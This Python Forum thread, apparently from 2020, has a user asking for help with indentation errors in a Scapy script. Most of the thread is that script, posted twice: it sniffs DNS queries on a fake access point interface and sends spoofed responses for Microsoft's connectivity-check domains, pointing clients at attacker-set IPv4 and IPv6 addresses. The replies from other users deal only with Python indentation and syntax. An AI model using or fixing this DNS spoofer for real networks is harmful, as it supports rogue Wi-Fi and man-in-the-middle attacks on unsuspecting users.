error "IndentationError: expected an indented block" - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: General Coding Help (https://python-forum.io/forum-8.html) +--- Thread: error "IndentationError: expected an indented block" (/thread-29530.html) |
error "IndentationError: expected an indented block" - axa - Sep-08-2020 Hi Can you help me to correct the following code so that I do not get IndentationError error? my script: from scapy.all import * DIR=os.path.dirname(os.path.abspath(__file__)) print('Executed from '+DIR+'\n') print('Assuming interface at0') def FakeAccess2(pkt): pkt=pkt[0] if pkt.haslayer(DNSQR): print('Packet with DNSQR layer found.') if pkt[DNS].qd.qtype == 1: print('DNSQR type appears type = A') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE! print('It appears captured DNS request requests dns.msftncsi.com') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='131.107.255.255')) del pkt[IP].chksum del pkt[UDP].chksum # replace your Fake AP interface with 'at0' sendp(spoofed_pkt,iface='at0') print('Spoofed response send:') spoofed_pkt.show2() if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST POINT TO SERVER WITH ncsi.txt; ISTO NARED ZA IPV6 print('It appears captured DNS request requests www.msftncsi.com') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ # 10.0.0.254 mora bit GW nastiman za dhcp an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='10.0.0.254')) del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt,iface='at0') print('Spoofed response send:') spoofed_pkt.show2() else: print('Wrong DNS.qd.qname :'+pkt[DNS].qd.qname) if pkt[DNS].qd.qtype == 28: print('DNSQR type appears type = AAAA') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE print('AAAA DNS request for dns.msftncsi.com found, loop works') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fd3e:4f5a:5b81::1')) del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt,iface='at0') print('Spoofed response send:') spoofed_pkt.show2() if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE print('AAAA DNS request for www.msftncsi.com found, loop works') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fe80::ea94:f6ff:fe24:d147')) #RDATA JE IPV6 OD at0 del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt,iface='at0') print('Spoofed response send:') spoofed_pkt.show2() else: print('Captured packet has no DNSQR') print('Sniffing...') sniff(filter='dst port 53',prn=FakeAccess2, store=0, count=0, iface='at0') RE: error "IndentationError: expected an indented block" - buran - Sep-08-2020 You have a function and the body of the function should be indented. you have several if blocks that require indented block after that. in all occasions next line is not indented. Also you have else part that not match any of the preceding ifs. Also first if is indented, when it should not be. Overall your indentation is totally wrong
RE: error "IndentationError: expected an indented block" - ibreeden - Sep-08-2020 The if statement should be unindented and the lines belonging to the if statement must be indented. The same goes for loops.if pkt.haslayer(DNSQR): print('Packet with DNSQR layer found.') if pkt[DNS].qd.qtype == 1: print('DNSQR type appears type = A') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE! print('It appears captured DNS request requests dns.msftncsi.com') ... et cetera RE: error "IndentationError: expected an indented block" - axa - Sep-08-2020 Thank you dear friends I corrected the indented cases But I still get the error line 43 else : ^ SyntaxError: invalid syntax I would really appreciate if you could help me modify this code from scapy.all import * DIR = os.path.dirname(os.path.abspath(__file__)) print('Executed from ' + DIR + '\n') print('Assuming interface at0') def FakeAccess2(pkt): pkt = pkt[0] if pkt.haslayer(DNSQR): print('Packet with DNSQR layer found.') if pkt[DNS].qd.qtype == 1: print('DNSQR type appears type = A') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE! print('It appears captured DNS request requests dns.msftncsi.com') spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \ IP(dst = pkt[IP].src, src = pkt[IP].dst) / \ UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \ DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \ an = DNSRR(rrname = pkt[DNS].qd.qname, ttl = 64, rdata = '131.107.255.255')) del pkt[IP].chksum del pkt[UDP].chksum # replace your Fake AP interface with 'at0' sendp(spoofed_pkt, iface = 'at0') print('Spoofed response send:') spoofed_pkt.show2() if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST POINT TO SERVER WITH ncsi.txt;ISTO NARED ZA IPV6 print('It appears captured DNS request requests www.msftncsi.com') spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \ IP(dst = pkt[IP].src, src = pkt[IP].dst) / \ UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \ DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \ # 10.0 .0 .254 mora bit GW nastiman za dhcp an = DNSRR(rrname = pkt[DNS].qd.qname, ttl = 64, rdata = '10.0.0.254')) del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt, iface = 'at0') print('Spoofed response send:') spoofed_pkt.show2() else : print('Wrong DNS.qd.qname :' + pkt[DNS].qd.qname) if pkt[DNS].qd.qtype == 28: print('DNSQR type appears type = AAAA') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE print('AAAA DNS request for dns.msftncsi.com found, loop works') spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \ IP(dst = pkt[IP].src, src = pkt[IP].dst) / \ UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \ DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \ an = DNSRR(rrname = pkt[DNS].qd.qname, type = 28, ttl = 64, rdata = 'fd3e:4f5a:5b81::1')) del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt, iface = 'at0') print('Spoofed response send:') spoofed_pkt.show2() if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE print('AAAA DNS request for www.msftncsi.com found, loop works') spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \ IP(dst = pkt[IP].src, src = pkt[IP].dst) / \ UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \ DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \ an = DNSRR(rrname = pkt[DNS].qd.qname, type = 28, ttl = 64, rdata = 'fe80::ea94:f6ff:fe24:d147')) #RDATA JE IPV6 OD at0 del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt, iface = 'at0') print('Spoofed response send:') spoofed_pkt.show2() else : print('Captured packet has no DNSQR') print('Sniffing...') sniff(filter = 'dst port 53', prn = FakeAccess2, store = 0, count = 0, iface = 'at0') RE: error "IndentationError: expected an indented block" - ibreeden - Sep-08-2020 To which if does the else on line 43 belong? Probably to the if in line 27. But this if ends on line 30 because "spoofed_pkt" is not indented anymore. So this else belongs to nothing.
|